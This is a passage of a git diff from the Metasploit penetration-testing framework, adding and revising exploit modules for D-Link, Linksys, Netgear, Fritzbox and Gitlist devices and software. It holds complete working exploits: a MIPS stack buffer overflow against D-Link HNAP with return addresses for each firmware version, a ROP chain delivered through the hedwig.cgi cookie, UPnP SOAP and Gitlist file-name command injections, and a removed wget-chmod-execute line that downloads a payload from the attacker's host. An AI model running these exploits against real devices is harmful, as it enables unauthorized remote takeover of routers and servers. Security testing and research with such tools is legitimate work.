# unused reg $s1 - $s4 + shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system) + + # .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5 + # .text:000159D0 21 28 60 02 move $a1, $s3 # not used + # .text:000159D4 21 30 20 02 move $a2, $s1 # not used + # .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system + # .text:000159DC 09 F8 20 03 jalr $t9 # call system + # .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system + + shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp + shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system) + + # .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget + # .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget + # .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address + + shellcode << rand_text_alpha_upper(16) # filler in front of our command + shellcode << cmd + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/hedwig.cgi", + 'cookie' => "uid=#{shellcode}", + 'encode_params' => false, + 'vars_post' => { + rand_text_alpha(4) => rand_text_alpha(4) + } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end diff --git a/modules/exploits/linux/http/dlink_hnap_bof.rb b/modules/exploits/linux/http/dlink_hnap_bof.rb new file mode 100644 index 0000000000..7f924f2b56 --- /dev/null +++ b/modules/exploits/linux/http/dlink_hnap_bof.rb @@ -0,0 +1,152 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link HNAP Request Remote Buffer Overflow', + 'Description' => %q{ + This module exploits an anonymous remote code execution vulnerability on different + D-Link devices. The vulnerability is due to an stack based buffer overflow while + handling malicious HTTP POST requests addressed to the HNAP handler. This module + has been successfully tested on D-Link DIR-505 in an emulated environment. + }, + 'Author' => + [ + 'Craig Heffner', # vulnerability discovery and initial exploit + 'Michael Messner ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'References' => + [ + ['CVE', '2014-3936'], + ['BID', '67651'], + ['URL', 'http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/'], # blog post from Craig including PoC + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10029'] + ], + 'Targets' => + [ + # + # Automatic targeting via fingerprinting + # + [ 'Automatic Targeting', { 'auto' => true } ], + [ 'D-Link DSP-W215 - v1.0', + { + 'Offset' => 1000000, + 'Ret' => 0x405cac, # jump to system - my_cgi.cgi + } + ], + [ 'D-Link DIR-505 - v1.06', + { + 'Offset' => 30000, + 'Ret' => 0x405234, # jump to system - my_cgi.cgi + } + ], + [ 'D-Link DIR-505 - v1.07', + { + 'Offset' => 30000, + 'Ret' => 0x405c5c, # jump to system - my_cgi.cgi + } + ] + ], + 'DisclosureDate' => 'May 15 2014', + 'DefaultTarget' => 0)) + + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/HNAP1/", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) + if res.body =~ /DIR-505/ && res.body =~ /1.07/ + @my_target = targets[3] if target['auto'] + return Exploit::CheckCode::Appears + elsif res.body =~ /DIR-505/ && res.body =~ /1.06/ + @my_target = targets[2] if target['auto'] + return Exploit::CheckCode::Appears + elsif res.body =~ /DSP-W215/ && res.body =~ /1.00/ + @my_target = targets[1] if target['auto'] + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Detected + end + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Trying to access the vulnerable URL...") + + @my_target = target + check_code = check + + unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears + fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable device") + end + + if @my_target.nil? || @my_target['auto'] + fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...") + end + + print_status("#{peer} - Exploiting #{@my_target.name}...") + execute_cmdstager( + :flavor => :echo, + :linemax => 185 + ) + end + + def prepare_shellcode(cmd) + buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler + buf << rand_text_alpha_upper(4) # $s0, don't care + buf << rand_text_alpha_upper(4) # $s1, don't care + buf << rand_text_alpha_upper(4) # $s2, don't care + buf << rand_text_alpha_upper(4) # $s3, don't care + buf << rand_text_alpha_upper(4) # $s4, don't care + buf << [@my_target.ret].pack("N") # $ra + + # la $t9, system + # la $s1, 0x440000 + # jalr $t9 ; system + # addiu $a0, $sp, 0x28 # our command + + buf << rand_text_alpha_upper(40) # Stack filler + buf << cmd # Command to execute + buf << "\x00" # NULL-terminate the command + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/HNAP1/", + 'encode_params' => false, + 'data' => shellcode + }, 5) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index 27b6bc1e9e..ca3a22f56a 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -6,13 +6,10 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = AverageRanking + Rank = NormalRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HttpServer - include Msf::Exploit::EXE - include Msf::Exploit::FileDropper - include Msf::Auxiliary::CommandShell + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -20,202 +17,105 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, there is no - output for the executed command when using the CMD target. Additionally, a target - to deploy a native mipsel payload, when wget is available on the target device, has - been added. This module has been tested on DIR-865 and DIR-645 devices. + output for the executed command. This module has been tested on DIR-865 and DIR-645 devices. }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References' => [ - [ 'OSVDB', '94924' ], - [ 'BID', '61005' ], - [ 'EDB', '26664' ], - [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] + ['OSVDB', '94924'], + ['BID', '61005'], + ['EDB', '26664'], + ['URL', 'http://www.s3cur1ty.de/m1adv2013-020'] ], 'DisclosureDate' => 'Jul 05 2013', 'Privileged' => true, - 'Platform' => %w{ linux unix }, 'Payload' => { - 'DisableNops' => true, + 'DisableNops' => true }, - 'Targets' => + 'Targets' => [ - [ 'CMD', #all devices + [ 'MIPS Little Endian', { - 'Arch' => ARCH_CMD, - 'Platform' => 'unix' + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE } ], - [ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed + [ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target { - 'Arch' => ARCH_MIPSLE, - 'Platform' => 'linux' + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS } ], ], - 'DefaultTarget' => 1 + 'DefaultTarget' => 0 )) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + register_options( [ - Opt::RPORT(49152), #port of UPnP SOAP webinterface - OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), - OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), - OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), + Opt::RPORT(49152) # port of UPnP SOAP webinterface ], self.class) end + def check + begin + res = send_request_cgi({ + 'uri' => '/InternetGatewayDevice.xml' + }) + if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /DIR-/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + def exploit - @new_portmapping_descr = rand_text_alpha(8) - @new_external_port = rand(65535) - @new_internal_port = rand(65535) + print_status("#{peer} - Trying to access the device ...") - if target.name =~ /CMD/ - exploit_cmd - else - exploit_mips + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") end + + print_status("#{peer} - Exploiting...") + + execute_cmdstager( + :flavor => :echo, + :linemax => 400 + ) end - def exploit_cmd - if not (datastore['CMD']) - fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") - end - cmd = payload.encoded - type = "add" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") - type = "delete" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - return - end - - def exploit_mips - - downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) - - #thx to Juan for his awesome work on the mipsel elf support - @pl = generate_payload_exe - @elf_sent = false - - # - # start our server - # - resource_uri = '/' + downfile - - if (datastore['DOWNHOST']) - service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri - else - # do not use SSL for this part - # XXX: See https://dev.metasploit.com/redmine/issues/8498 - # It must be possible to do this without directly editing the - # datastore. - if datastore['SSL'] - ssl_restore = true - datastore['SSL'] = false - end - - #we use SRVHOST as download IP for the coming wget command. - #SRVHOST needs a real IP address of our download host - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") - srv_host = Rex::Socket.source_address(rhost) - else - srv_host = datastore['SRVHOST'] - end - - service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri - - print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") - start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => resource_uri - }}) - - # Restore SSL preference - # XXX: See https://dev.metasploit.com/redmine/issues/8498 - # It must be possible to do this without directly editing the - # datastore. - datastore['SSL'] = true if ssl_restore - end - - # - # download payload - # - print_status("#{rhost}:#{rport} - Asking the D-Link device to take and execute #{service_url}") - #this filename is used to store the payload on the device - filename = rand_text_alpha_lower(8) - - cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}" - type = "add" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") - end - - # wait for payload download - if (datastore['DOWNHOST']) - print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload") - select(nil, nil, nil, datastore['HTTP_DELAY']) - else - wait_linux_payload - end - - register_file_for_cleanup("/tmp/#{filename}") - - type = "delete" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - end - - def request(cmd, type) + def execute_command(cmd, opts) + new_portmapping_descr = rand_text_alpha(8) + new_external_port = rand(32767) + 32768 + new_internal_port = rand(32767) + 32768 uri = '/soap.cgi' + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" + data_cmd = "" data_cmd << "" data_cmd << "" - - if type == "add" - vprint_status("#{rhost}:#{rport} - adding portmapping") - - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" - - data_cmd << "" - data_cmd << "#{@new_portmapping_descr}" - data_cmd << "" - data_cmd << "`#{cmd}`" - data_cmd << "1" - data_cmd << "#{@new_external_port}" - data_cmd << "" - data_cmd << "TCP" - data_cmd << "#{@new_internal_port}" - data_cmd << "" - else - #we should clean it up ... otherwise we are not able to exploit it multiple times - vprint_status("#{rhost}:#{rport} - deleting portmapping") - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" - - data_cmd << "" - data_cmd << "TCP#{@new_external_port}" - data_cmd << "" - end - + data_cmd << "" + data_cmd << "#{new_portmapping_descr}" + data_cmd << "" + data_cmd << "`#{cmd}`" + data_cmd << "1" + data_cmd << "#{new_external_port}" + data_cmd << "" + data_cmd << "TCP" + data_cmd << "#{new_internal_port}" + data_cmd << "" data_cmd << "" data_cmd << "" @@ -232,36 +132,9 @@ class Metasploit3 < Msf::Exploit::Remote }, 'data' => data_cmd }) - return res + return res rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return nil - end - end - - # Handle incoming requests from the server - def on_request_uri(cli, request) - #print_status("on_request_uri called: #{request.inspect}") - if (not @pl) - print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") - return - end - print_status("#{rhost}:#{rport} - Sending the payload to the server...") - @elf_sent = true - send_response(cli, @pl) - end - - # wait for the data to be sent - def wait_linux_payload - print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...") - - waited = 0 - while (not @elf_sent) - select(nil, nil, nil, 1) - waited += 1 - if (waited > datastore['HTTP_DELAY']) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?") - end + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end end diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb index 0c5ba23950..51e104c6c2 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb @@ -4,12 +4,17 @@ ## require 'msf/core' +require 'msf/core/module/deprecated' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper + include Msf::Module::Deprecated + + DEPRECATION_DATE = Date.new(2014, 9, 11) + DEPRECATION_REPLACEMENT = 'exploits/linux/http/dlink_upnp_exec_noauth' def initialize(info = {}) super(update_info(info, @@ -22,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/dolibarr_cmd_exec.rb b/modules/exploits/linux/http/dolibarr_cmd_exec.rb index ad798e8969..d50b15a7da 100644 --- a/modules/exploits/linux/http/dolibarr_cmd_exec.rb +++ b/modules/exploits/linux/http/dolibarr_cmd_exec.rb @@ -78,10 +78,10 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => @uri.path }) - return [nil, nil] if not (res and res.headers['Set-Cookie']) + return [nil, nil] if res.nil? || res.get_cookies.empty? # Get the session ID from the cookie - m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/) + m = res.get_cookies.match(/(DOLSESSID_.+);/) id = (m.nil?) ? nil : m[1] # Get the token from the decompressed HTTP body response diff --git a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb index bc02f5d255..184ea9c2e6 100644 --- a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb +++ b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb @@ -67,7 +67,7 @@ class Metasploit4 < Msf::Exploit::Remote if res.headers['Location'] =~ /users\/login$/ fail_with(Failure::NoAccess, 'Authentication failed') else - session = $1 if res.headers['Set-Cookie'] =~ /_session_id=([0-9a-f]*)/ + session = $1 if res.get_cookies =~ /_session_id=([0-9a-f]*)/ fail_with(Failure::UnexpectedReply, 'Failed to retrieve the current session id') if session.nil? end diff --git a/modules/exploits/linux/http/fritzbox_echo_exec.rb b/modules/exploits/linux/http/fritzbox_echo_exec.rb index 6990a9491a..181674f7e9 100644 --- a/modules/exploits/linux/http/fritzbox_echo_exec.rb +++ b/modules/exploits/linux/http/fritzbox_echo_exec.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -24,8 +24,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Unknown', # Vulnerability discovery - 'Fabian Braeunlein ', # Metasploit PoC with wget method - 'Michael Messner ' # Metasploit module + 'Fabian Braeunlein ', # Metasploit PoC with wget method + 'Michael Messner ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => @@ -59,8 +59,9 @@ class Metasploit3 < Msf::Exploit::Remote } ], ], - 'DefaultTarget' => 0 + 'DefaultTarget' => 0 )) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check @@ -109,6 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Exploiting...") execute_cmdstager( + :flavor => :echo, :linemax => 92 ) end diff --git a/modules/exploits/linux/http/gitlist_exec.rb b/modules/exploits/linux/http/gitlist_exec.rb new file mode 100644 index 0000000000..d5f7280cba --- /dev/null +++ b/modules/exploits/linux/http/gitlist_exec.rb @@ -0,0 +1,119 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Gitlist Unauthenticated Remote Command Execution', + 'Description' => %q{ + This module exploits an unauthenticated remote command execution vulnerability + in version 0.4.0 of Gitlist. The problem exists in the handling of an specially + crafted file name when trying to blame it. + }, + 'License' => MSF_LICENSE, + 'Privileged' => false, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Author' => + [ + 'drone', #discovery/poc by @dronesec + 'Brandon Perry ' #Metasploit module + ], + 'References' => + [ + ['CVE', '2014-4511'], + ['EDB', '33929'], + ['URL', 'http://hatriot.github.io/blog/2014/06/29/gitlist-rce/'] + ], + 'Payload' => + { + 'Space' => 8192, # max length of GET request really + 'BadChars' => "&\x20", + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic telnet python perl bash gawk netcat netcat-e ruby php openssl', + } + }, + 'Targets' => + [ + ['Gitlist 0.4.0', { }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 30 2014' + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']) + ], self.class) + end + + def check + repo = get_repo + + if repo.nil? + return Exploit::CheckCode::Unknown + end + + chk = Rex::Text.encode_base64(rand_text_alpha(rand(32)+5)) + + res = send_command(repo, "echo${IFS}" + chk + "|base64${IFS}--decode") + + if res && res.body + if res.body.include?(Rex::Text.decode_base64(chk)) + return Exploit::CheckCode::Vulnerable + elsif res.body.to_s =~ /sh.*not found/ + return Exploit::CheckCode::Vulnerable + end + end + + Exploit::CheckCode::Safe + end + + def exploit + repo = get_repo + if repo.nil? + fail_with(Failure::Unknown, "#{peer} - Failed to retrieve the remote repository") + end + send_command(repo, payload.encoded) + end + + def get_repo + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "/") + }) + + unless res + return nil + end + + first_repo = /href="\/gitlist\/(.*)\/"/.match(res.body) + + unless first_repo && first_repo.length >= 2 + return nil + end + + repo_name = first_repo[1] + + repo_name + end + + def send_command(repo, cmd) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, repo, 'blame', 'master', '""`' + cmd + '`') + }, 1) + + res + end + +end diff --git a/modules/exploits/linux/http/gpsd_format_string.rb b/modules/exploits/linux/http/gpsd_format_string.rb index bc7621a5dc..76af2bc1f7 100644 --- a/modules/exploits/linux/http/gpsd_format_string.rb +++ b/modules/exploits/linux/http/gpsd_format_string.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits a format string vulnerability in the Berlios GPSD server. This vulnerability was discovered by Kevin Finisterre. }, - 'Author' => [ 'Yann Senotier ' ], + 'Author' => [ 'Yann Senotier ' ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb index 676e931b3d..cbc3fc3043 100644 --- a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb +++ b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote 'josso_password' => datastore['PASSWORD'] } }) - if res and res.headers['Set-Cookie'] =~ /JOSSO_SESSIONID_josso=([A-F0-9]+)/ + if res and res.get_cookies =~ /JOSSO_SESSIONID_josso=([A-F0-9]+)/ return $1 else return nil diff --git a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb index 6e5c006a98..b76d50f6ba 100644 --- a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/linksys_themoon_exec.rb b/modules/exploits/linux/http/linksys_themoon_exec.rb index 0e7f7bd091..3496f27bd0 100644 --- a/modules/exploits/linux/http/linksys_themoon_exec.rb +++ b/modules/exploits/linux/http/linksys_themoon_exec.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Johannes Ullrich', #worm discovery 'Rew', # original exploit 'infodox', # another exploit - 'Michael Messner ', # Metasploit module + 'Michael Messner ', # Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, @@ -62,8 +62,9 @@ class Metasploit3 < Msf::Exploit::Remote } ], ], - 'DefaultTarget' => 0 + 'DefaultTarget' => 0 )) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end @@ -115,7 +116,7 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("#{peer} - Exploiting...") - execute_cmdstager + execute_cmdstager({:flavor => :echo}) end end diff --git a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb index 26d1c3c07b..08717e1d2b 100644 --- a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -48,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote OptAddress.new('RHOST', [true, 'The address of the router', '192.168.1.1']), OptInt.new('TIMEOUT', [false, 'The timeout to use in every request', 20]) ], self.class) - + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit test_login - execute_cmdstager + execute_cmdstager({:flavor => :echo}) end # Sends an HTTP request with authorization header to the router diff --git a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb index bb8c137b99..1117679e52 100644 --- a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index 7e778969bc..fc247d0772 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/mutiny_frontend_upload.rb b/modules/exploits/linux/http/mutiny_frontend_upload.rb index 03d03adf5f..e0fa99ef5e 100644 --- a/modules/exploits/linux/http/mutiny_frontend_upload.rb +++ b/modules/exploits/linux/http/mutiny_frontend_upload.rb @@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'GET' }) - if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ + if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/ first_session = $1 end @@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote 'cookie' => "JSESSIONID=#{first_session}" }) - if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ + if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/ @session = $1 return true end diff --git a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb index d89036bbc8..3f318a8e46 100644 --- a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb index 5a6242c404..0424acb20b 100644 --- a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb index b1542c492e..d979506f7a 100644 --- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb +++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb @@ -103,8 +103,12 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending payload (#{payload.raw.length} bytes)") begin res = send_request_cgi({ - 'uri' => "/admin/system.html?step=2&device=lo#{cmd}", - 'cookie' => "usercookie=#{user}; passcookie=#{pass};", + 'uri' => '/admin/system.html', + 'cookie' => "usercookie=#{user}; passcookie=#{pass};", + 'vars_get' => { + 'step' => '2', + 'device' => "lo#{cmd}" + } }, 25) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Failure::Unknown, 'Connection failed') diff --git a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb index accf593b61..e7a568baf2 100644 --- a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb +++ b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb @@ -77,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote 'iptest' => "127.0.0.1" # In order to make things as fast as possible } }) - if res and res.code == 200 and res.headers.include?('Set-Cookie') and res.headers['Set-Cookie'] =~ /SESSIONID/ + if res and res.code == 200 and res.get_cookies.include?('SESSIONID') return res.get_cookies else return nil diff --git a/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb 